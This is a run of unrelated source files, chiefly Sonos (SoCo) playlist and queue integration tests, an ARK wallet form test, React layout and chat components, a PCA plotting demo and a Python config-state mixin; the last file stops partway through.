assert on_play == 'PLAYING'
def test_seek_valid(self, soco):
"""Test if the seek method works with valid input."""
original_position = soco.get_current_track_info()['position']
# Format 1
soco.seek('0:00:00')
wait()
position = soco.get_current_track_info()['position']
assert position in ['0:00:00', '0:00:01']
# Reset and format 2
soco.seek(original_position)
soco.seek('00:00:00')
wait()
position = soco.get_current_track_info()['position']
assert position in ['0:00:00', '0:00:01']
# Clean up
soco.seek(original_position)
wait()
def test_seek_invald(self, soco):
"""Test if the seek method properly fails with invalid input."""
for string in ['invalid_time_string', '5:12', '6', 'aa:aa:aa']:
with pytest.raises(ValueError):
soco.seek(string)
class TestGetCurrentTrackInfo(object):
"""Integration test for the get_current_track_info method."""
info_keys = sorted(['album', 'artist', 'title', 'uri', 'metadata',
'playlist_position', 'duration', 'album_art',
'position'])
def test_get(self, soco):
""" Test is the return value is a dictinary and contains the following
keys: album, artist, title, uri, playlist_position, duration,
album_art and position.
"""
info = soco.get_current_track_info()
assert isinstance(info, dict)
assert sorted(info.keys()) == self.info_keys
class TestGetSpeakerInfo(object):
"""Integration test for the get_speaker_info method."""
# The values in this list must be kept up to date with the values in
# the test doc string
info_keys = sorted(['zone_name', 'zone_icon', 'uid',
'serial_number', 'software_version',
'hardware_version', 'mac_address'])
def test(self, soco):
""" Test if the return value is a dictionary that contains the keys:
zone_name, zone_icon, uid, serial_number, software_version,
hardware_version, mac_address
and that values have been found for all keys, i.e. they are not None.
"""
speaker_info = soco.get_speaker_info()
assert isinstance(speaker_info, dict)
for _, value in speaker_info.items():
assert value is not None
# TODO: test GetSpeakersIp
class TestGetQueue(object):
"""Integration test for the get_queue method."""
# The values in this list must be kept up to date with the values in
# the test doc string
queue_element_keys = sorted(['album', 'creator', 'resources',
'album_art_uri', 'title'])
def test_get(self, soco):
""" Test is return value is a list of DidlMusicTracks and if each of
the objects contain the attributes: album, creator, resources,
album_art_uri and title.
"""
queue = soco.get_queue(0, 100)
assert isinstance(queue, list)
for item in queue:
assert isinstance(item, DidlMusicTrack)
for key in self.queue_element_keys:
assert getattr(item, key)
class TestAddToQueue(object):
"""Integration test for the add_to_queue method."""
def test_add_to_queue(self, soco):
"""Get the current queue, add the last item of the current queue and
then compare the length of the old queue with the new and check that
the last two elements are identical."""
old_queue = soco.get_queue(0, 1000)
# Add new element and check
assert (soco.add_to_queue(old_queue[-1])) == len(old_queue) + 1
wait()
new_queue = soco.get_queue()
assert (len(new_queue) - 1) == len(old_queue)
assert (new_queue[-1].title) == (new_queue[-2].title)
class TestRemoveFromQueue(object):
"""Integration test for the remove_from_queue method."""
def test(self, soco):
"""Test if the remove_from_queue method works."""
old_queue = soco.get_queue()
soco.remove_from_queue(len(old_queue) - 1) # queue index is 0 based
wait()
new_queue = soco.get_queue()
assert old_queue != new_queue, (
'No difference between '
'queues before and after removing the last item')
assert len(new_queue) == len(old_queue) - 1
class TestSonosPlaylist(object):
"""Integration tests for Sonos Playlist Management."""
existing_playlists = None
playlist_name = 'zSocoTestPlayList42'
@pytest.yield_fixture(autouse=True)
def restore_sonos_playlists(self, soco):
"""A fixture which cleans up after each sonos playlist test."""
if self.existing_playlists is None:
self.existing_playlists = soco.get_sonos_playlists()
if self.playlist_name in [x.title
for x in self.existing_playlists]:
msg = '%s is an existing playlist.' % self.playlist_name
pytest.fail(msg)
yield
for sonos_playlist in soco.get_sonos_playlists():
if sonos_playlist.title == self.playlist_name:
soco.remove_sonos_playlist(sonos_playlist=sonos_playlist)
def test_create(self, soco):
"""Test creating a new empty Sonos playlist."""
existing_playlists = set([x.item_id
for x in soco.get_sonos_playlists()])
new_playlist = soco.create_sonos_playlist(title=self.playlist_name)
assert type(new_playlist) is DidlPlaylistContainer
new_pl = set([x.item_id for x in soco.get_sonos_playlists()])
assert new_pl != existing_playlists
assert new_pl - existing_playlists == set([new_playlist.item_id])
def test_create_from_queue(self, soco):
"""Test creating a Sonos playlist from the current queue."""
playlist = soco.create_sonos_playlist_from_queue(self.playlist_name)
assert type(playlist) is DidlPlaylistContainer
prslt = soco.browse(ml_item=playlist)
qrslt = soco.get_queue()
assert len(prslt) == len(qrslt)
assert prslt.total_matches == qrslt.total_matches
assert prslt.number_returned == qrslt.number_returned
# compare uri because item_id is different, SQ:xx/n for playlist
for p_item, q_item in zip(prslt, qrslt):
assert p_item.resources[0].uri == q_item.resources[0].uri
def test_remove_playlist(self, soco):
"""Test removing a Sonos playlist."""
# a place holder, remove_sonos_playlist is exercised in the
# 'restore_sonos_playlists'
pass
def test_remove_playlist_itemid(self, soco):
"""Test removing a Sonos playlist by item_id."""
new_playlist = soco.create_sonos_playlist(title=self.playlist_name)
assert type(new_playlist) is DidlPlaylistContainer
assert soco.remove_sonos_playlist(new_playlist.item_id)
found = False
for sonos_playlist in soco.get_sonos_playlists():
if sonos_playlist.title == self.playlist_name:
found = True
break
assert found is False, "new_playlist was not removed by item_id"
def test_remove_playlist_bad_id(self, soco):
"""Test attempting to remove a Sonos playlist using a bad id."""
# junky bad
with pytest.raises(SoCoUPnPException):
soco.remove_sonos_playlist('SQ:-7')
# realistic non-existing
hpl_i = max([int(x.item_id.split(':')[1])
for x in soco.get_sonos_playlists()])
with pytest.raises(SoCoUPnPException):
soco.remove_sonos_playlist('SQ:{0}'.format(hpl_i + 1))
class TestTimer(object):
"""Integration tests for timers on Sonos"""
existing_timer = None
@pytest.yield_fixture(autouse=True)
def restore_timer(self, soco):
"""A fixture which cleans up after each timer test."""
existing_timer = soco.get_sleep_timer()
yield
soco.set_sleep_timer(existing_timer)
def test_get_set_timer(self, soco):
"""Test setting the timer"""
assert soco.set_sleep_timer(7200) is None
result = soco.get_sleep_timer()
if not any(result == s for s in [ 7200, 7199, 7198 ]):
pytest.fail("Set timer to 7200, but sonos reports back time as %s" % result['RemainingSleepTimerDuration'])
class TestReorderSonosPlaylist(object):
"""Integration tests for Sonos Playlist Management."""
existing_playlists = None
playlist_name = 'zSocoTestPlayList42'
test_playlist = None
@pytest.yield_fixture(autouse=True, scope="class")
def restore_sonos_playlists(self, soco):
"""A fixture which cleans up after each sonos playlist test."""
if self.existing_playlists is None:
self.existing_playlists = soco.get_sonos_playlists()
if self.playlist_name in [x.title for x in self.existing_playlists]:
msg = '%s is an existing playlist.' % self.playlist_name
pytest.fail(msg)
queue_list = soco.get_queue()
if len(queue_list) < 2:
msg = 'You must have 3 or more items in your queue for testing.'
pytest.fail(msg)
playlist = soco.create_sonos_playlist_from_queue(self.playlist_name)
self.test_playlist = playlist
yield
# soco.remove_sonos_playlist(object_id=self.test_playlist.item_id)
soco.contentDirectory.DestroyObject([('ObjectID',
self.test_playlist.item_id)])
def _reset_spl_contents(self, soco):
"""Ensure test playlist matches queue for each test."""
test_playlist = soco.get_sonos_playlist_by_attr('title',
self.playlist_name)
response = soco.clear_sonos_playlist(test_playlist)
if response['length']:
msg = 'Failed to empty playlist. Unexpected result.'
pytest.fail(msg)
que = soco.get_queue()
num_tracks = 0
for track in que:
soco.add_item_to_sonos_playlist(track, test_playlist)
num_tracks += 1
return test_playlist, num_tracks
def test_reverse_track_order(self, soco):
"""Test reversing the tracks in the Sonos playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = ','.join([str(x) for x in reversed(range(num_tracks))])
new_pos = ','.join([str(x) for x in range(num_tracks)])
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == 0
assert response['length'] == num_tracks
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
for s_item, q_item in zip(spl, reversed(soco.get_queue())):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_swap_first_two_items(self, soco):
"""Test a use case in doc string. Swapping the positions of the first
two tracks in the Sonos playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = [0, ]
new_pos = [1, ]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == 0
assert response['length'] == num_tracks
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[1].resources[0].uri
assert spl[1].resources[0].uri == que[0].resources[0].uri
for s_item, q_item in zip(spl[2:], que[2:]):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_first_track(self, soco):
"""Test removing first track from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = [0, ]
new_pos = [None, ]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks - 1
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()[1:]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_first_track_full(self, soco):
"""Test removing first track from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = [0] + range(num_tracks - 1) # [0, 0, 1, ..., n-1]
new_pos = [None, ] + range(num_tracks - 1) # [None, 0, ..., n-1]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks - 1
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()[1:]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_last_track(self, soco):
"""Test removing last track from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = range(num_tracks)
new_pos = range(num_tracks - 1) + [None, ]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks - 1
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()[:-1]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_between_track(self, soco):
"""Test removing a middle track from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
ndx = int(num_tracks / 2)
tracks = [ndx]
new_pos = [None]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks - 1
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
del que[ndx]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_some_tracks(self, soco): # pylint: disable=R0914
"""Test removing some tracks from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
# get rid of the even numbered tracks
tracks = sorted([x for x in range(num_tracks) if not x & 1],
reverse=True)
new_pos = [None for _ in tracks]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1 * len(new_pos)
assert response['length'] == num_tracks + response['change']
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
for ndx in tracks:
del que[ndx]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_all_tracks(self, soco):
"""Test removing all tracks from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
# get rid of the even numbered tracks
tracks = sorted(range(num_tracks), reverse=True)
new_pos = [None for _ in tracks]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1 * num_tracks
assert response['length'] == num_tracks + response['change']
assert response['length'] == 0
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
assert len(spl) == 0
def test_reorder_and_remove_track(self, soco):
"""Test reorder and removing a track from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = [1, 2]
new_pos = [0, None]
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks + response['change']
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[1].resources[0].uri
def test_object_id_is_object(self, soco):
"""Test removing all tracks from Sonos Playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = sorted(range(num_tracks), reverse=True)
new_pos = [None for _ in tracks]
args = {'sonos_playlist': test_playlist,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1 * num_tracks
assert response['length'] == num_tracks + response['change']
assert response['length'] == 0
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
assert len(spl) == 0
def test_remove_all_string(self, soco):
"""Remove all in one op by using strings."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
# we know what we are doing
tracks = ','.join([str(x) for x in range(num_tracks)])
new_pos = ''
args = {'sonos_playlist': test_playlist,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1 * num_tracks
assert response['length'] == num_tracks + response['change']
assert response['length'] == 0
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
assert len(spl) == 0
def test_remove_and_reorder_string(self, soco):
"""test remove then reorder using string arguments."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = '0,2' # trackA, trackB, trackC, ...
new_pos = ',0' # trackC, trackB, ...
args = {'sonos_playlist': test_playlist,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks + response['change']
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[2].resources[0].uri
assert spl[1].resources[0].uri == que[1].resources[0].uri
def test_move_track_string(self, soco):
"""Test a simple move with strings."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = "0"
new_pos = "1"
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == 0
assert response['length'] == num_tracks
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[1].resources[0].uri
assert spl[1].resources[0].uri == que[0].resources[0].uri
for s_item, q_item in zip(spl[2:], que[2:]):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_move_track_int(self, soco):
"""Test a simple move with ints."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
tracks = 1
new_pos = 0
args = {'sonos_playlist': test_playlist.item_id,
'tracks': tracks,
'new_pos': new_pos}
response = soco.reorder_sonos_playlist(**args)
assert response['change'] == 0
assert response['length'] == num_tracks
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[1].resources[0].uri
assert spl[1].resources[0].uri == que[0].resources[0].uri
for s_item, q_item in zip(spl[2:], que[2:]):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_clear_sonos_playlist(self, soco):
"""Test the clear_sonos_playlist helper function."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
response = soco.clear_sonos_playlist(test_playlist)
assert response['change'] == -1 * num_tracks
assert response['length'] == num_tracks + response['change']
assert response['length'] == 0
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
assert len(spl) == 0
def test_clear_empty_sonos_playlist(self, soco):
"""Test clearing an already empty Sonos playlist."""
test_playlist, _ = self._reset_spl_contents(soco)
response = soco.clear_sonos_playlist(test_playlist)
assert response['length'] == 0
update_id = response['update_id']
new_response = soco.clear_sonos_playlist(test_playlist,
update_id=update_id)
assert new_response['change'] == 0
assert new_response['length'] == 0
assert new_response['update_id'] == update_id
def test_move_in_sonos_playlist(self, soco):
"""Test method move_in_sonos_playlist."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
args = {'sonos_playlist': test_playlist.item_id,
'track': 0,
'new_pos': 1}
response = soco.move_in_sonos_playlist(**args)
assert response['change'] == 0
assert response['length'] == num_tracks
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()
assert spl[0].resources[0].uri == que[1].resources[0].uri
assert spl[1].resources[0].uri == que[0].resources[0].uri
for s_item, q_item in zip(spl[2:], que[2:]):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_remove_from_sonos_playlist(self, soco):
"""Test remove_from_sonos_playlist method."""
test_playlist, num_tracks = self._reset_spl_contents(soco)
args = {'sonos_playlist': test_playlist.item_id,
'track': 0}
response = soco.remove_from_sonos_playlist(**args)
assert response['change'] == -1
assert response['length'] == num_tracks - 1
assert response['update_id'] != 0
spl = soco.music_library.browse(ml_item=test_playlist)
que = soco.get_queue()[1:]
for s_item, q_item in zip(spl, que):
assert s_item.resources[0].uri == q_item.resources[0].uri
def test_get_sonos_playlist_by_attr(self, soco):
"""Test test_get_sonos_playlist_by_attr."""
test_playlist, _ = self._reset_spl_contents(soco)
by_name = soco.get_sonos_playlist_by_attr('title', self.playlist_name)
assert test_playlist == by_name
by_id = soco.get_sonos_playlist_by_attr('item_id',
test_playlist.item_id)
assert test_playlist == by_id
with pytest.raises(AttributeError):
soco.get_sonos_playlist_by_attr('fred', 'wilma')
with pytest.raises(ValueError):
soco.get_sonos_playlist_by_attr('item_id', 'wilma')
|
import React, { useRef, useEffect, useContext } from 'react';
import PropTypes from 'prop-types';
import styled from 'styled-components';
import Header from './header';
import Menu from './Menu';
import Sidebar from './Sidebar';
import { useWindowSize } from '../lib/useWindowSize';
import { mediaQueries, screenSizes } from '../styles/variables';
import { MenuContext } from '../context/menuContext';
import './layout.css';
const StyledContainer = styled.div`
display: flex;
flex-direction: column;
background-color: black;
height: 100%;
`;
const StyledMain = styled.main`
padding: 0;
display: flex;
flex-direction: column;
overflow: hidden;
box-sizing: border-box;
margin: 0;
height: 100%;
${mediaQueries.small} {
overflow: visible;
height: auto;
${(props) => {
if (props.isMenuOpen) {
return `position: absolute !important;
top: -9999px !important;
left: -9999px !important;`;
}
}}
}
`;
const OverlayContainer = styled.div`
overflow-y: hidden;
&::before {
background-color: black;
position: fixed;
content: '';
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: 100;
}
${mediaQueries.small} {
height: 100%;
}
`;
const Layout = ({ children }) => {
const { width } = useWindowSize();
const isSmallScreen = width <= screenSizes.small;
const { isMenuOpen } = useContext(MenuContext);
return (
<StyledContainer>
<Header />
{isMenuOpen && (
<OverlayContainer>
<Menu />
</OverlayContainer>
)}
<StyledMain isMenuOpen={isMenuOpen}>{children}</StyledMain>
{!isSmallScreen && <Sidebar />}
</StyledContainer>
);
};
Layout.propTypes = {
children: PropTypes.node.isRequired,
};
export default Layout;
|
import { createLocalVue, mount } from '@vue/test-utils'
import { Identities } from '@arkecosystem/crypto'
import Vuelidate from 'vuelidate'
import installI18n from '../../../__utils__/i18n'
import { TransactionFormDelegateResignation } from '@/components/Transaction/TransactionForm'
import CurrencyMixin from '@/mixins/currency'
import BigNumber from '@/plugins/bignumber'
const localVue = createLocalVue()
localVue.use(Vuelidate)
const i18n = installI18n(localVue)
const network = {
token: 'ARK',
version: 23,
wif: 170,
market: {
enabled: false
}
}
let wrapper
const createWrapper = (component, wallet, delegate) => {
component = component || TransactionFormDelegateResignation
wallet = wallet || {
address: 'address-1'
}
if (!Object.keys(wallet).includes('passphrase')) {
wallet.passphrase = null
}
if (!Object.keys(wallet).includes('isDelegate')) {
wallet.isDelegate = true
}
if (delegate === undefined) {
delegate = {
username: 'delegate-1'
}
}
wrapper = mount(component, {
i18n,
localVue,
sync: false,
mocks: {
$client: {
buildDelegateResignation: jest.fn((transactionData) => transactionData)
},
$error: jest.fn(),
$store: {
getters: {
'delegate/byAddress': jest.fn(() => delegate),
'transaction/staticFee': jest.fn(() => null),
'session/lastFeeByType': jest.fn(() => (1 * 1e8).toString()),
'session/network': network,
'network/byToken': jest.fn(() => (network))
}
},
$synchronizer: {
appendFocus: jest.fn()
},
session_network: network,
currency_format: jest.fn(CurrencyMixin.methods.currency_format),
currency_subToUnit: jest.fn(CurrencyMixin.methods.currency_subToUnit),
currency_toBuilder: jest.fn(CurrencyMixin.methods.currency_toBuilder),
currency_unitToSub: jest.fn(CurrencyMixin.methods.currency_unitToSub),
wallet_formatAddress: jest.fn(address => `formatted-${address}`),
wallet_fromRoute: wallet
},
stubs: {
Portal: true
}
})
}
describe('TransactionFormDelegateResignation', () => {
beforeEach(() => {
createWrapper()
})
it('should have delegate resignation transaction type', () => {
expect(wrapper.vm.$options.transactionType).toBe(7)
})
describe('template', () => {
it('should render', () => {
expect(wrapper.contains('.TransactionFormDelegateResignation')).toBe(true)
})
it('should have fee field', () => {
expect(wrapper.contains('.TransactionFormDelegateResignation__fee')).toBe(true)
})
describe('ledger notice', () => {
it('should show if wallet is a ledger', () => {
createWrapper(null, {
isLedger: true
})
expect(wrapper.contains('.TransactionFormDelegateResignation__ledger-notice')).toBe(true)
})
it('should show if wallet is not a ledger', () => {
createWrapper(null, {
isLedger: false
})
expect(wrapper.contains('.TransactionFormDelegateResignation__ledger-notice')).toBe(false)
})
})
describe('password field', () => {
it('should show if wallet does have a password', () => {
createWrapper(null, {
passphrase: 'password'
})
expect(wrapper.contains('.TransactionFormDelegateResignation__password')).toBe(true)
})
it('should show if wallet does not have a password', () => {
expect(wrapper.contains('.TransactionFormDelegateResignation__password')).toBe(false)
})
})
describe('passphrase field', () => {
it('should show if wallet does not have a password', () => {
expect(wrapper.contains('.TransactionFormDelegateResignation__passphrase')).toBe(true)
})
it('should not show if wallet does have a password', () => {
createWrapper(null, {
passphrase: 'password'
})
expect(wrapper.contains('.TransactionFormDelegateResignation__passphrase')).toBe(false)
})
})
describe('next button', () => {
it('should be enabled if form is valid', async () => {
wrapper.vm.$v.form.fee.$model = (0.1 * 1e8).toString()
wrapper.vm.$v.form.passphrase.$model = 'passphrase'
await wrapper.vm.$nextTick()
expect(wrapper.find('.TransactionFormDelegateResignation__next').attributes('disabled')).toBeFalsy()
})
it('should be disabled if form is invalid', async () => {
wrapper.vm.$v.form.$touch()
await wrapper.vm.$nextTick()
expect(wrapper.find('.TransactionFormDelegateResignation__next').attributes('disabled')).toBe('disabled')
})
})
})
describe('computed', () => {
describe('username', () => {
it('should return username', () => {
expect(wrapper.vm.username).toBe('delegate-1')
})
it('should return null if not a delegate', () => {
createWrapper(null, null, null)
expect(wrapper.vm.username).toBe(null)
})
})
describe('canResign', () => {
it('should return true if delegate and has username', () => {
expect(wrapper.vm.canResign).toBe(true)
})
it('should return false if not a delegate', () => {
createWrapper(null, {
isDelegate: false
})
expect(wrapper.vm.canResign).toBe(false)
})
it('should return false if no username', () => {
createWrapper(null, {
isDelegate: true
}, {})
expect(wrapper.vm.canResign).toBe(false)
})
})
})
describe('methods', () => {
describe('getTransactionData', () => {
it('should return correct data with passphrase', () => {
wrapper.vm.$v.form.fee.$model = 0.1
wrapper.vm.$v.form.passphrase.$model = 'passphrase'
expect(wrapper.vm.getTransactionData()).toEqual({
address: 'address-1',
passphrase: 'passphrase',
fee: new BigNumber(0.1 * 1e8),
wif: undefined,
networkWif: 170,
multiSignature: undefined
})
})
it('should return correct data with passphrase and second passphrase', () => {
createWrapper(null, {
address: 'address-1',
passphrase: null,
secondPublicKey: Identities.PublicKey.fromPassphrase('second passphrase')
})
wrapper.vm.$v.form.fee.$model = 0.1
wrapper.vm.$v.form.passphrase.$model = 'passphrase'
wrapper.vm.$v.form.secondPassphrase.$model = 'second passphrase'
expect(wrapper.vm.getTransactionData()).toEqual({
address: 'address-1',
passphrase: 'passphrase',
secondPassphrase: 'second passphrase',
fee: new BigNumber(0.1 * 1e8),
wif: undefined,
networkWif: 170,
multiSignature: undefined
})
})
})
describe('buildTransaction', () => {
it('should build delegate resignation', async () => {
const transactionData = {
type: 7,
typeGroup: 1
}
const response = await wrapper.vm.buildTransaction(transactionData, true, true)
expect(wrapper.vm.$client.buildDelegateResignation).toHaveBeenCalledWith(transactionData, true, true)
expect(response).toBe(transactionData)
})
it('should build delegate resignation with default arguments', async () => {
const transactionData = {
type: 7,
typeGroup: 1
}
const response = await wrapper.vm.buildTransaction(transactionData)
expect(wrapper.vm.$client.buildDelegateResignation).toHaveBeenCalledWith(transactionData, false, false)
expect(response).toBe(transactionData)
})
})
describe('transactionError', () => {
it('should generate transaction error', () => {
wrapper.vm.transactionError()
expect(wrapper.vm.$error).toHaveBeenCalledWith('TRANSACTION.ERROR.VALIDATION.DELEGATE_RESIGNATION')
})
})
})
})
|
from sklearn.decomposition import PCA
import matplotlib.pyplot as plt
import numpy as np
N = 500
mu = [5, 4]
theta = np.radians(-30)
c, s = np.cos(theta), np.sin(theta)
R = np.array(((c,-s), (s, c)))
gnr = np.random.randn(N, 2)*[3, 1]
print(gnr.shape)
plt.plot(*gnr.transpose(), 'o')
gnr = np.dot(gnr, R) + mu
plt.plot(*gnr.transpose(), 'o')
pca = PCA(n_components=2)
pca.fit(gnr)
print('svd: ', pca.singular_values_)
print('comps: ', pca.components_)
print('mean: ', pca.mean_)
plt.plot(*pca.mean_, 'o', color='black')
c1 = pca.mean_ + pca.components_[0]*pca.explained_variance_[0]
c2 = pca.mean_ + pca.components_[1]*pca.explained_variance_[1]
v1 = np.array([pca.mean_, c1])
v2 = np.array([pca.mean_, c2])
plt.plot(*v1.transpose(), color='black')
plt.plot(*v2.transpose(), color='black')
plt.gca().set_aspect('equal')
plt.show()
|
import operator
from typing import Optional, Any
from pybm.exceptions import PybmError
from pybm.logging import get_logger
logger = get_logger(__name__)
class StateMixin:
"""
State getter and setter methods based on dotted attribute access.
Usage works as follows: X.get_value("a.b") returns the nested attribute
b on object a, which itself is a member of class X. Same for set_value.
"""
def get_value(self, attr: str, default: Optional[Any] = None) -> Any:
lookup = operator.attrgetter(attr)
try:
return lookup(self)
except AttributeError:
if default is None:
raise PybmError(
f"Class {self.__class__.__name__!r} has no " f"attribute {attr!r}."
)
else:
return default
def set_value(self, attr: str, value: Any):
*subkeys, key = attr.split(".")
obj = self
for subkey in subkeys:
obj = getattr(obj, subkey, None)
if obj is None or not hasattr(obj, key):
raise PybmError(
f"Class {self.__class__.__name__!r} has no " f"attribute {attr!r}."
)
value = self.canonicalize_type(obj, key, value)
setattr(obj, key, value)
return self
@staticmethod
def canonicalize_type(obj, attr: str, value: str):
annotations = obj.__annotations__
# if no annotation exists (this should not happen), interpret as string
target_type = annotations.get(attr, str)
try:
if target_type != bool:
# int, float, str
return target_type(value)
else:
# bool(s) is True for all strings except the empty string,
# so allow setting booleans with the true/false literal
# like this
if value.lower() == "false":
return False
elif value.lower() == "true":
return True
else:
# do not allow shorthands, y/n, 1/0 etc.
raise ValueError
except ValueError:
raise PybmError(
f"Configuration value {attr!r} of class "
f"{obj.__class__.__name__} has to be of type "
f"{target_type.__name__!r}, but the given "
f"value {value!r} could not be "
f"interpreted as such."
)
|
import React, { useEffect, useState } from "react";
import { Layout, Menu, Breadcrumb, Typography, Button, Spin } from 'antd';
import { MenuUnfoldOutlined, MenuFoldOutlined, GithubOutlined, WechatOutlined, UserOutlined } from '@ant-design/icons';
import _service from '@netuno/service-client';
import ChatContainer from './container/ChatContainer';
import ParticipantLoginContainer from './container/ParticipantLoginContainer';
import logo from './logo.svg';
import './App.less';
const { Header, Content, Footer, Sider } = Layout;
const { Title } = Typography;
const { SubMenu } = Menu;
export default ({})=> {
const [ collapsed, setCollapsed ] = useState(false);
const [ participant, setParticipant ] = useState(null);
const [ rooms, setRooms ] = useState([]);
const [ roomsLoading, setRoomsLoading ] = useState(false);
const [ room, setRoom ] = useState(null);
useEffect(() => {
setRoomsLoading(true);
_service({
url: "rooms",
success: (response) => {
if (response.json) {
setRoomsLoading(false);
if (response.json.length > 0) {
setRooms(response.json);
setRoom(response.json[0]);
}
}
},
fail: (e) => {
setRoomsLoading(false);
console.log("Rooms Service Error", e);
}
});
}, []);
const onLogged = (participant) => {
setParticipant(participant);
};
return (
<Layout className="layout">
{ !collapsed &&
<Sider
width={225}
style={{
overflow: 'auto',
height: '100vh',
position: 'fixed',
left: 0,
padding: '0 10px',
}}
>
<div className="logo"><img src={logo}/></div>
<div className="participant">{participant && <><UserOutlined /> {participant.name}</>}</div>
<Button type="primary" onClick={()=> setCollapsed(!collapsed) } style={{ marginBottom: 16, marginTop: 20 }}>
{React.createElement(collapsed ? MenuUnfoldOutlined : MenuFoldOutlined)}
</Button>
<div className="menu">
<Title level={4}><WechatOutlined /> Rooms:</Title>
{roomsLoading && <Spin/>}
<Menu defaultSelectedKeys={room ? [room.uid] : null} inlineCollapsed={collapsed}>
{
rooms.map(
(room)=>
<Menu.Item key={room.uid} onClick={()=> setRoom(room)}>
{room.name}
</Menu.Item>
)
}
</Menu>
</div>
</Sider>
}
<Layout className="site-layout" style={{ marginLeft: collapsed ? 0 : 225 }}>
{ collapsed &&
<Header style={{padding: '0 10px'}}>
<div className="logo"><img src={logo}/></div>
<div className="participant">{participant && <><UserOutlined /> {participant.name}</>}</div>
<Button type="primary" className="menu-toggle" onClick={()=> setCollapsed(!collapsed) } style={{ marginBottom: 16 }}>
{React.createElement(collapsed ? MenuUnfoldOutlined : MenuFoldOutlined)}
</Button>
</Header>
}
<Content style={{ overflow: 'initial' }}>
